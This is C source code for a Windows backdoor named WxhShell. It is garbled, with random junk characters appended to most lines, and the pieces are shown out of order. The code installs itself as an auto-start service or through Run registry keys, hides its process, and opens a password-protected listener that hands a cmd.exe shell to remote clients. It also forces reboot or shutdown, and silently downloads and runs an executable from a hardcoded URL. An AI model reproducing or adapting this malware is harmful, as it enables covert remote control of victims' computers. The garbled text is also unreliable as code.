    } 8a?IC|~Pz  
  // 关机 i"< ZVw  
  case 'd': { Pm~,Ky&Hl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9V.+U7\w  
    if(Boot(SHUTDOWN)) /K[]B]1NE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^SgN(-QH  
    else { |Cu1uwy  
    closesocket(wsh); m+p4Mc%u  
    ExitThread(0); URk$}_39  
    } GG*BN<(>!  
    break; u!M& ;QL  
    } "7:u0p!  
  // 获取shell KjC[q  
  case 's': { ["<5?!bU  
    CmdShell(wsh); 3eJ\aVI>pE  
    closesocket(wsh); oH=4m~'V  
    ExitThread(0); :bI,rEW#_  
    break; " xlJs93c  
  } M.X}K7Z_/  
  // 退出 lu3Q,W  
  case 'x': { p?}&)Un  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t6j-?c('  
    CloseIt(wsh); ` 4OMZMq  
    break; p0   
    } $4sA nu]  
  // 离开 80dSQ"y  
  case 'q': { tD865gi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N=.}h\{0  
    closesocket(wsh); >}mNi:6xq  
    WSACleanup(); dWMccn;-m  
    exit(1); 3Nc'3NPQ'  
    break; e5QOB/e&  
        } ]Kof sU_{  
  } ykJ+%gla  
  }  z I(xSX@  
5[1@`6j   
  // 提示信息 ixg\[5.Q+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n<=y"*  
} dP?nP(l  
  } * q+oeAYX  
Ct-rD79l  
  return; \MF3CK@/  
} ]Qh[%GD  
$3lt{ %  
// shell模块句柄 <1TlW ~q<  
int CmdShell(SOCKET sock) ' l|41wxk  
{ u<x[5xH+  
STARTUPINFO si; j )<;g(  
ZeroMemory(&si,sizeof(si)); b!0'Qidh0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }#1U D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; er#8D6*  
PROCESS_INFORMATION ProcessInfo; kx:c*3q.k  
char cmdline[]="cmd"; S_a :ML<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8moUK3w  
  return 0; ?0? x+  
} l# }As.o}  
:P HUsy  
// 自身启动模式 MiRibHXI,  
int StartFromService(void) nZ"{y  
{ y?[5jL|Ue  
typedef struct pM1=U F  
{ od;Bb  
  DWORD ExitStatus; d&O'r[S  
  DWORD PebBaseAddress; #( $k 3OA  
  DWORD AffinityMask; oXnC "y}0P  
  DWORD BasePriority; 5w]DncdQ~  
  ULONG UniqueProcessId; Q]yV:7  
  ULONG InheritedFromUniqueProcessId; L[`R8n1C  
}   PROCESS_BASIC_INFORMATION; SJso'6 g  
K-N]h  
PROCNTQSIP NtQueryInformationProcess; A9NOeE  
+8MW$ m$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +8L(pMI4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NEjPU#@c  
:(5]Z^  
  HANDLE             hProcess; f6keWqv<GW  
  PROCESS_BASIC_INFORMATION pbi;  JsZAP  
%@M00~-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AGw1Pl8]K  
  if(NULL == hInst ) return 0;  EGp~Vo-  
WZfk}To1#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }|w=7^1z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oex{:dO "F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |!?2OTY  
rD:gN%B=  
  if (!NtQueryInformationProcess) return 0; vo:52tCk}m  
Km|9Too  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zm"!E6`69  
  if(!hProcess) return 0; h;cB_6vt  
G1`mn$`kq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w`H.ey  
[Q2S3szbt6  
  CloseHandle(hProcess); DLwC5Iir  
<~IH`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0X ] ekq  
if(hProcess==NULL) return 0; T4%i`<i  
WZ-4^WM=!  
HMODULE hMod; DDqC}l_  
char procName[255]; qat45O4A1  
unsigned long cbNeeded; {hW +^  
wgSR*d>y*9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r6gt9u:  
):|G k Sm  
  CloseHandle(hProcess); TFiuz; *|  
7I2a*4}  
if(strstr(procName,"services")) return 1; // 以服务启动 m'G?0^Ft  
N7RG5?  
  return 0; // 注册表启动 &0;{lS[N:L  
} .{'Uvn  
Im0+`9Jw  
// 主模块 a'*5PaXU@/  
int StartWxhshell(LPSTR lpCmdLine) l<0[ K(  
{ C,sD?PcSi+  
  SOCKET wsl; 2n-Tpay0  
BOOL val=TRUE; ,H#qgnp  
  int port=0; SK2J`*  
  struct sockaddr_in door; F^%{ ;  
ihpz}g  
  if(wscfg.ws_autoins) Install(); Z~-T0Ab-  
f)u*Q!BDD  
port=atoi(lpCmdLine); %x cM_|AyR  
<3],C)Zwc  
if(port<=0) port=wscfg.ws_port; =F^->e0N  
}iiG$?|.  
  WSADATA data; ne !j%9Ar  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z[0LU]b<  
{WM&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D@sx`H(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IGF37';;  
  door.sin_family = AF_INET; cpr{b8Xb8&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )<]w23i  
  door.sin_port = htons(port); q>(I*=7  
1?e>x91  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~u~[E  
closesocket(wsl); s= GOB"G  
return 1; _.Z&<.lJ  
} <'o'H  
%z!d4J75  
  if(listen(wsl,2) == INVALID_SOCKET) { {"gyXDE1  
closesocket(wsl); Xn ZX *Y]"  
return 1; 7(+OsE  
} 2]_4&mU  
  Wxhshell(wsl); pjmGzK  
  WSACleanup(); }LHT#{+ x  
\Z6gXO_  
return 0; @gu77^='  
}jyS\drJ  
} xsY>{/C  
dEAAm=K,<  
// 以NT服务方式启动 2EqsfU* I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +,{Wcb  
{ <g/(wSl  
DWORD   status = 0; H8o%H=I%  
  DWORD   specificError = 0xfffffff; 8 /RfNGY  
>2/wzsW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QBPvGnb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^ T:qT*v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %x'bo>h@  
  serviceStatus.dwWin32ExitCode     = 0; ;I`,ZKY  
  serviceStatus.dwServiceSpecificExitCode = 0; |Ad6~E+aL-  
  serviceStatus.dwCheckPoint       = 0; gv Rc:5B[  
  serviceStatus.dwWaitHint       = 0; :>er^\  
\0^rJ1*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t7*H8  
  if (hServiceStatusHandle==0) return; Hq"<vp  
_A~~L6C  
status = GetLastError(); v,!Y=8~9  
  if (status!=NO_ERROR) s:m<(8WRw  
{ @6i8RmOu}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &=6cz$]z  
    serviceStatus.dwCheckPoint       = 0; UVoLHd  
    serviceStatus.dwWaitHint       = 0; kb}]sj  
    serviceStatus.dwWin32ExitCode     = status; 2XecP'+m  
    serviceStatus.dwServiceSpecificExitCode = specificError; <p L;-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J.1ln = Y  
    return; S\{^LVXTMd  
  } [WO%rO^p  
MRVz:g\mi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )o'U0rAx|a  
  serviceStatus.dwCheckPoint       = 0; &"H<+>`  
  serviceStatus.dwWaitHint       = 0; x9o^9QJh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xJH9qc ME  
} -Y jv&5  
.^N#|hp^  
// 处理NT服务事件,比如:启动、停止 8)q]^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yZ(Nv $[5  
{ thm3JfQt  
switch(fdwControl) 1A/c/iC  
{ ncw?;  
case SERVICE_CONTROL_STOP: I$6 f.W  
  serviceStatus.dwWin32ExitCode = 0; amk42  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s>M~g,xTU  
  serviceStatus.dwCheckPoint   = 0; X-ki%jp3  
  serviceStatus.dwWaitHint     = 0; Zm8 u:  
  { +'&_V011<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lJ>QTZH!wW  
  } `6S=KRv  
  return; ,C'w(af@}  
case SERVICE_CONTROL_PAUSE: sh)) [V"8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @<w9fzi  
  break; vA7jZw  
case SERVICE_CONTROL_CONTINUE: A2O_pbQti  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e=F( Zf+1^  
  break; 9snyX7/!L  
case SERVICE_CONTROL_INTERROGATE: '__3[D  
  break; ZNH*[[Pf  
}; RzY`^A6G6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NV:XPw/  
}  eS@!\H x  
'*LN)E> d  
// 标准应用程序主函数 7s fuju(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9bcyPN  
{ E[Ws} n.  
fF-\TW  
// 获取操作系统版本 DneSzqO"o  
OsIsNt=GetOsVer(); bmq XP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8,H5G`  
t ]I(98pY  
  // 从命令行安装 vhquHy.qi#  
  if(strpbrk(lpCmdLine,"iI")) Install(); []N$;~R7  
/HJ(Wt q  
  // 下载执行文件 4ysdna\+  
if(wscfg.ws_downexe) { I#hg(7|",  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C=_-p"O#  
  WinExec(wscfg.ws_filenam,SW_HIDE); :_YG/0%I  
} a$! {Tob2  
% x*Ec[l  
if(!OsIsNt) { 3 ws(uF9$  
// 如果时win9x,隐藏进程并且设置为注册表启动 wyA(}iSq  
HideProc(); ~G ^}2#5  
StartWxhshell(lpCmdLine); 53+rpU_  
} d_7Xlp@  
else gjN!_^ _  
  if(StartFromService()) .]ZuG  
  // 以服务方式启动 acju!,G  
  StartServiceCtrlDispatcher(DispatchTable); Py25k 0j!  
else c'Tu,-  
  // 普通方式启动 7D~O/#dcc  
  StartWxhshell(lpCmdLine); =5=Vm[  
_Il9s#NA%  
return 0; *I1W+W`G  
} e %v4,8  
jUR #  
Z2j*%/  
A"3&EuvU  
=========================================== llG#nDe  
g Wv+i/,  
[QqNsco)  
Q]g4gj  
^Er`{|o6u  
oY6|h3T=Q$  
" NUnc"@  
@)'@LF1Z  
#include <stdio.h> <VxpMF  
#include <string.h> MJ/%$  
#include <windows.h> _NqT8C4C  
#include <winsock2.h> *_K-T#  
#include <winsvc.h> F#bo4'&>@  
#include <urlmon.h> 68GGS`&  
"oXAIfU#T  
#pragma comment (lib, "Ws2_32.lib") XQY&4tK  
#pragma comment (lib, "urlmon.lib") @] "9EW 0  
lgqL)^8A  
#define MAX_USER   100 // 最大客户端连接数 j}.J$RtW1f  
#define BUF_SOCK   200 // sock buffer `8.32@rUB.  
#define KEY_BUFF   255 // 输入 buffer 42LXL*-4  
j.N\U#3KK  
#define REBOOT     0   // 重启 8*PAgPj a  
#define SHUTDOWN   1   // 关机 C<@1H>S4_  
Qp.!U~  
#define DEF_PORT   5000 // 监听端口 sPTUGx'  
a<"& RnG(  
#define REG_LEN     16   // 注册表键长度 ?_j6})2zY  
#define SVC_LEN     80   // NT服务名长度 ~_j%nJ &2  
59Q Q_#>  
// 从dll定义API 32|L $o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $H@)hY8wA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2CgIY89O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6')SJ*|yS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @>nk^ l  
M-K@n$k   
// wxhshell配置信息 KdMA58)  
struct WSCFG { fX$4TPy(h  
  int ws_port;         // 监听端口 P:-/3  
  char ws_passstr[REG_LEN]; // 口令 7Z~szD  
  int ws_autoins;       // 安装标记, 1=yes 0=no :h^UC~[h 3  
  char ws_regname[REG_LEN]; // 注册表键名 Ci9wF (<k  
  char ws_svcname[REG_LEN]; // 服务名 V;]VwsZ"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `&[:!U2]F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YJvT p~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -&D6w9w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f#Cdx"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <\>ak7m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1nTaKK q  
p}|wO&4h  
}; vfTG*jG  
la|l9N^,  
// default Wxhshell configuration ?[/,*Q%  
struct WSCFG wscfg={DEF_PORT, ];~[Olc  
    "xuhuanlingzhe", (0m$W<  
    1, 2LH;d`H[0  
    "Wxhshell", e.ym7L]$O  
    "Wxhshell", Wy>\KrA1  
            "WxhShell Service", E/P53CD  
    "Wrsky Windows CmdShell Service", r_sl~^* :  
    "Please Input Your Password: ", ZjW| qb  
  1, !enz05VW6.  
  "http://www.wrsky.com/wxhshell.exe", EjE`S_i=  
  "Wxhshell.exe" E^W*'D  
    }; >P"/ nS"nn  
x2c*k$<p  
// 消息定义模块 A?k,}~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'wlP`7&Tn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9QZwUQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &0Zk3D4  
char *msg_ws_ext="\n\rExit."; ^K8a#-  
char *msg_ws_end="\n\rQuit."; |8{iIvi/  
char *msg_ws_boot="\n\rReboot..."; FH(+7Lz4;  
char *msg_ws_poff="\n\rShutdown..."; /_\W*@ E  
char *msg_ws_down="\n\rSave to "; +1fOW4!5  
[ \n.[4gq"  
char *msg_ws_err="\n\rErr!"; A2_3zrE  
char *msg_ws_ok="\n\rOK!"; %_O>Hy|p  
<G?85*Nv_  
char ExeFile[MAX_PATH]; 6-}e-H  
int nUser = 0; .V:<w~=b  
HANDLE handles[MAX_USER]; < ^!eaBR4  
int OsIsNt; V="f)'S$  
*LdH/C.LIf  
SERVICE_STATUS       serviceStatus; \#7%%>p=O'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Riuv@i^6K  
6;XpLivP7  
// 函数声明 MJpTr5Vs  
int Install(void); ,,wx197XeD  
int Uninstall(void); c;}n=7,>:L  
int DownloadFile(char *sURL, SOCKET wsh); `|?$; )  
int Boot(int flag); @7 HBXP  
void HideProc(void); \J&#C(pn  
int GetOsVer(void); zn$ Ld,  
int Wxhshell(SOCKET wsl);  Jiylrf`o  
void TalkWithClient(void *cs); `^k<.O  
int CmdShell(SOCKET sock); MtTHKp   
int StartFromService(void); T sW6w  
int StartWxhshell(LPSTR lpCmdLine); _?LI0iIFx  
yZaDNc9'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0%j; yzQ<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); } U1shG[  
Qh%vh ;|^  
// 数据结构和表定义 jN>UW}?  
SERVICE_TABLE_ENTRY DispatchTable[] = Y,}43a0A  
{ J uKaRR~  
{wscfg.ws_svcname, NTServiceMain}, ,?~,"IQyi[  
{NULL, NULL} pR>QIZq<gT  
}; %~XJwy-  
sswAI|6ou  
// 自我安装 5g7}A`  
int Install(void) 2DdLqZY#  
{ Cms"OkN  
  char svExeFile[MAX_PATH]; 8^i,M^f^{  
  HKEY key; S9055`v5  
  strcpy(svExeFile,ExeFile); )X$n'E  
=DwH*U /YR  
// 如果是win9x系统,修改注册表设为自启动 o;C)!  
if(!OsIsNt) { Qnh1s u5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HV(*6b@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cNC BbOMr  
  RegCloseKey(key); r T$g^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -z1o~~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V t;&2v  
  RegCloseKey(key); vu >@_hv  
  return 0; a :AcCd)  
    } -ouL4  
  } Ggjb86v\  
} |.nWy"L  
else { {'aqOlw3<j  
vjS7nR"T  
// 如果是NT以上系统,安装为系统服务 g&5VorGx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0k]N%!U  
if (schSCManager!=0) sRI8znus  
{ :b)@h|4  
  SC_HANDLE schService = CreateService T,@7giQg@  
  ( 0_izTke  
  schSCManager, y%Ah"UY  
  wscfg.ws_svcname, P ^+>QJ1  
  wscfg.ws_svcdisp, dU n#'<g5  
  SERVICE_ALL_ACCESS, ( h,F{7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @},k\Is  
  SERVICE_AUTO_START, L6qA=b~iz  
  SERVICE_ERROR_NORMAL, T8 /'`s  
  svExeFile, WG4|Jf Y  
  NULL, &_gmQ;%t:  
  NULL, l%/,Ef*3  
  NULL, $"1&!  
  NULL, U?yXTMD  
  NULL u{G6xuPWf  
  ); :7*\|2zA  
  if (schService!=0) r${a S@F  
  { ^r$5];n  
  CloseServiceHandle(schService); { )K(}~VD  
  CloseServiceHandle(schSCManager); m!if_Iq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K?WqAVK  
  strcat(svExeFile,wscfg.ws_svcname); ).b+S>k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l>q.BG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :g_ +{4  
  RegCloseKey(key); d^>se'ya  
  return 0; roQIP%h!  
    } a)b@en;v  
  } mAKi%)  
  CloseServiceHandle(schSCManager); L1K_|X  
} > xw+2<  
} vi|ASA{V  
U {v_0\ES  
return 1; Gu=bPQOj  
} ,oe4*b}O=.  
L}nc'smvM  
// 自我卸载 '(*D3ysU  
int Uninstall(void) >48Y-w  
{ ><^@1z.J  
  HKEY key; 4 -W?u51"  
h~t]WN  
if(!OsIsNt) { B[h9epU]K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E>v~B;@  
  RegDeleteValue(key,wscfg.ws_regname); E"!*ASN  
  RegCloseKey(key); ~46ed3eGzi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Atw^C+"vW&  
  RegDeleteValue(key,wscfg.ws_regname); "zc!QHpSd  
  RegCloseKey(key); Rwk|cqr  
  return 0; {D8 IA3w  
  } dRmTE  
} yKJp37R  
}  _>l,%n  
else { l71\II  
C:cu1Y9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =?hlgQ  
if (schSCManager!=0) #'oKkrl  
{ [g_@<?zg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ] 2'~e,"O  
  if (schService!=0) TB\CSXb  
  { Zup?nP2GkT  
  if(DeleteService(schService)!=0) { F9" K  
  CloseServiceHandle(schService); ^,gKA\Wli  
  CloseServiceHandle(schSCManager); 5`Z#m:+u  
  return 0; 0fNBy^(K  
  } ~@bKQ>Xw  
  CloseServiceHandle(schService); @VAhmYz  
  }  'M{_S  
  CloseServiceHandle(schSCManager); wVTo7o%U  
} 7Ll(,i<,C  
} ?a}~yz#B(  
:OM>z4mQ  
return 1; \I=:,cz*,  
}  + h&V;  
.^,vK7  
// 从指定url下载文件 z?^p(UH  
int DownloadFile(char *sURL, SOCKET wsh) %/y/,yd  
{ AJ /_l;  
  HRESULT hr; l=yO]a\QZ  
char seps[]= "/"; ) AIZE?oX  
char *token; /~Iy1L#  
char *file; S3m+(N"&  
char myURL[MAX_PATH]; Ho/5e*X  
char myFILE[MAX_PATH]; ,MJZ*"V/3  
KpL82  
strcpy(myURL,sURL); xXtDGP  
  token=strtok(myURL,seps); Rzk JS9)m  
  while(token!=NULL) ?/~1z*XUW  
  { i F Ab"VA  
    file=token; {*m?t 7  
  token=strtok(NULL,seps); <tNx*ce5  
  } jZGmTtx  
9}-,dgAB  
GetCurrentDirectory(MAX_PATH,myFILE); +qdK]RR}  
strcat(myFILE, "\\"); %rsW:nl  
strcat(myFILE, file); ]pt @  
  send(wsh,myFILE,strlen(myFILE),0); S@_GjCpn  
send(wsh,"...",3,0); ?@#<>7V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nC w1H kW  
  if(hr==S_OK) %K%z<R8  
return 0; c-,/qn/  
else LQe<mZ<  
return 1; k"6^gup(U  
J_,y?}.e3  
} Jad'8}0J  
@ 9uwcM1F  
// 系统电源模块 8PQ& 7o  
int Boot(int flag) ``={FaV~m  
{ laAG%lq/'  
  HANDLE hToken; D 6(w}W  
  TOKEN_PRIVILEGES tkp; ~_q\?pw<$L  
g7F>o76M  
  if(OsIsNt) { w-1CA{"i7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1\BECP+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rpd3Rp  
    tkp.PrivilegeCount = 1; 22GtTENd1h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gaJS6*P#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "371`!%  
if(flag==REBOOT) { =3@^TW(j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JS4pJe\q  
  return 0; |Q{l ]D  
} kmf4ax h1  
else { C][`Dk\D{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CyE.q^Wm  
  return 0; =(o$1v/k  
} (C!fIRY  
  } kAqk~.  
  else { J[9jNCq|  
if(flag==REBOOT) { OAv/P|n=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N%0Z> G  
  return 0; 9 i"3R0HN  
} >0>M@s  
else { -n6C~Yx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yd@9P 2C  
  return 0; nX   
} h"[ ][  
} >IRo]-,  
Ys\l[$_`*  
return 1; } nQHP4'  
} %K zURv  
5K8\hoW{  
// win9x进程隐藏模块 Si;e_a  
void HideProc(void) $T1c{T6n}  
{ #pf}q+A  
hM;EUWv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0j3j/={|.1  
  if ( hKernel != NULL ) 7JujU.&{6  
  { S"lcePN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f6DPah#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ioZ2J"s  
    FreeLibrary(hKernel); 1 @/+ c  
  } bo]k9FC  
LnBkd:>}  
return; 4kx#=MLt  
} 1j}o. 0\  
<Wl! Qog'  
// 获取操作系统版本 k(s3~S2h  
int GetOsVer(void) 7UMsKE-  
{ iJ~p X\FKO  
  OSVERSIONINFO winfo; GU=h2LSi]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *FO']D  
  GetVersionEx(&winfo); ~Su>^T(?-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $BG9<:p  
  return 1; p t<84CP  
  else g|W~0A@D  
  return 0; r8@:Ko= a  
} hj-M #a  
E;%{hAD{  
// 客户端句柄模块 0O[q6!&]  
int Wxhshell(SOCKET wsl) }O_6wi  
{ ,"DkMK4%  
  SOCKET wsh; ZV&=B%J bs  
  struct sockaddr_in client; %!WQ;(  
  DWORD myID; @~zhAU!  
}UX>O  
  while(nUser<MAX_USER) JBuorc  
{ 1,4kw~tA  
  int nSize=sizeof(client); gbo{Zgf<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !j\  yt  
  if(wsh==INVALID_SOCKET) return 1; ?vvjwys@  
"ibKi=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R_/T bz  
if(handles[nUser]==0) P4s:wuJ^  
  closesocket(wsh); 64[j:t=N  
else 7pkc*@t  
  nUser++; n`CmbM@@  
  } D`Fl*Wc4H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w)hJ0k  
j'~xe3j  
  return 0; &bTadd%0  
} N@*v'MEko%  
7qu hp\  
// 关闭 socket wN;o++6V  
void CloseIt(SOCKET wsh) ?"J5~_U.  
{ ^m?h .  
closesocket(wsh); -Ndd6O[ a5  
nUser--; { R&F_51)V  
ExitThread(0); 7HFw*;  
} oU67<jq  
AM\`v'I*6  
// 客户端请求句柄 1Hzj-u&N/  
void TalkWithClient(void *cs) <` HLG2  
{ d[jxU/.p;  
5 '.j+{"  
  SOCKET wsh=(SOCKET)cs; !k Hpw2  
  char pwd[SVC_LEN]; 6D) vY  
  char cmd[KEY_BUFF]; 9].!mpR  
char chr[1]; p-M QI }  
int i,j; <^OGJ}G  
n&k1'KL&  
  while (nUser < MAX_USER) { |7%M:7 Q  
jR*1%.Ng  
if(wscfg.ws_passstr) { R$wo{{KX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s!uewS.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Au@U;a4UU  
  //ZeroMemory(pwd,KEY_BUFF); !%sj-RMvG  
      i=0; D L<r2h  
  while(i<SVC_LEN) { F~z4T/TN%G  
9^>nZ6  
  // 设置超时 `nn;E% n  
  fd_set FdRead; E2 #XXc  
  struct timeval TimeOut; XP~4jOL]  
  FD_ZERO(&FdRead); s:,BcVLx^  
  FD_SET(wsh,&FdRead); Y[@$1{YS  
  TimeOut.tv_sec=8; m8#+w0p)  
  TimeOut.tv_usec=0; nQb{/ TqC'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rC$ckug  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `UGHk*DL)  
 pb6z)8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t d-EB&i\  
  pwd=chr[0]; N'3Vt8o,  
  if(chr[0]==0xd || chr[0]==0xa) { (hs[B4nV  
  pwd=0; V;Te =4  
  break; m'@NF--#Oq  
  } ^DM^HSm  
  i++; #|xK> ;  
    } nu|;(ly  
l '<gkwX  
  // 如果是非法用户,关闭 socket @'jC>BS8`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !Zlvz%X  
} ney6N@  
Sycs u_je  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [$ vAjP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ESL(Mf'  
V1,O7m+F2  
while(1) { [C.Pzo  
;WWUxrWif  
  ZeroMemory(cmd,KEY_BUFF); vSX71  
TlQu+w|  
      // 自动支持客户端 telnet标准   s^)wh v`C  
  j=0; rq:R6e  
  while(j<KEY_BUFF) { #iJ+}EW _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "~> # ;x{  
  cmd[j]=chr[0]; R^{Ow  
  if(chr[0]==0xa || chr[0]==0xd) { 0_J<=T?\"s  
  cmd[j]=0; ULkjY1&  
  break; o!dTB,Molr  
  } a}c.]zm]  
  j++; @OV\raUO&V  
    } 9Qst5n\Z  
Kp!sn,:  
  // 下载文件 UPfH~H[1)  
  if(strstr(cmd,"http://")) { +W x/zo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [yJcM [p\  
  if(DownloadFile(cmd,wsh)) 049E# [<Q"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \,+act"v  
  else Dh*Uv,  
